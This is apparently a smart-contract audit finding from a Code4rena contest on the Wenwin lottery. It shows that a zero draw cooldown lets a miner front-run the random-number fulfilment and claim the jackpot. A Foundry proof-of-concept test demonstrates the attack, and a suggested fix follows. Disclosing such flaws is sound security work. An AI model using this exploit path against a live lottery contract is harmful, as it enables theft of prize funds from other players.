Wenwin contest - 0x73696d616f's results

Lines of code

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L135 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L110 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L188 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L203 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotterySetup.sol#L66 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotterySetup.sol#L114 https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotterySetup.sol#L157

Vulnerability details

Impact

Validators/Miners would always be able to get the Jackpot prize, compromising the protocol.

Proof of Concept

The following foundry test illustrates this behaviour. Essentially, if the cooldown period (time before a draw during which it is not possible to buy tickets) is set to 0, then tickets can be bought after seeing the random number transaction in the mempool, by frontrunning the transaction. For this to happen, the validator/miner has to choose the block.timestamp to be exactly the scheduled draw time.

    function testBuyWinningTicketBeforeHand() public {
        /// @notice setup
        vm.warp(0);
        uint256 cooldownPeriod = 0;
        Lottery lot = new Lottery(
            LotterySetupParams(
                rewardToken,
                LotteryDrawSchedule(2 * PERIOD, PERIOD, cooldownPeriod),
                TICKET_PRICE,
                SELECTION_SIZE,
                SELECTION_MAX,
                EXPECTED_PAYOUT,
                fixedRewards
            ),
            playerRewardFirstDraw,
            playerRewardDecrease,
            rewardsToReferrersPerDraw,
            MAX_RN_FAILED_ATTEMPTS,
            MAX_RN_REQUEST_DELAY
        );
        rewardToken.mint(1e24);
        rewardToken.transfer(address(lot), 1e24);
        vm.warp(lot.initialPotDeadline() + 1);
        lot.finalizeInitialPotRaise();
        lot.initSource(IRNSource(randomNumberSource));

        vm.mockCall(randomNumberSource, abi.encodeWithSelector(IRNSource.requestRandomNumber.selector), abi.encode(0));

        /**
         * @notice All this happens in the same block.timestamp, so a miner can buy the ticket after seeing
         * the onRandomNumberFulfilled(randomNumber) transaction in the mempool with the winning ticket.
         */
        vm.warp(block.timestamp + 60 * 60 * 24 - 1);

        uint128 drawId = lot.currentDraw();
        vm.startPrank(USER);
        rewardToken.mint(TICKET_PRICE);
        rewardToken.approve(address(lot), TICKET_PRICE);

        uint128[] memory drawIds = new uint128[](1);
        drawIds[0] = lot.currentDraw();
        uint120[] memory tickets = new uint120[](1);
        tickets[0] = uint120(0x0F);
        uint256[] memory ticketIds = lot.buyTickets(drawIds, tickets, FRONTEND_ADDRESS, address(0));
        vm.stopPrank();

        lot.executeDraw();

        // winning ticket
        uint256 randomNumber = 0x00000000;
        vm.prank(randomNumberSource);
        lot.onRandomNumberFulfilled(randomNumber);

        vm.prank(USER);
        lot.claimWinningTickets(ticketIds);

        assertEq(rewardToken.balanceOf(USER), lot.winAmount(drawId, SELECTION_SIZE));
    }

Tools Used

VsCode, Foundry

Recommended Mitigation Steps

In the lottery setup Lottery.sol contract, put a require that the variable lotterySetupParams.drawSchedule.drawCoolDownPeriod is bigger than 0.

if (
            lotterySetupParams.drawSchedule.drawCoolDownPeriod >= lotterySetupParams.drawSchedule.drawPeriod
                || lotterySetupParams.drawSchedule.firstDrawScheduledAt < lotterySetupParams.drawSchedule.drawPeriod
                || lotterySetupParams.drawSchedule.drawCoolDownPeriod == 0
        ) {
            revert DrawPeriodInvalidSetup();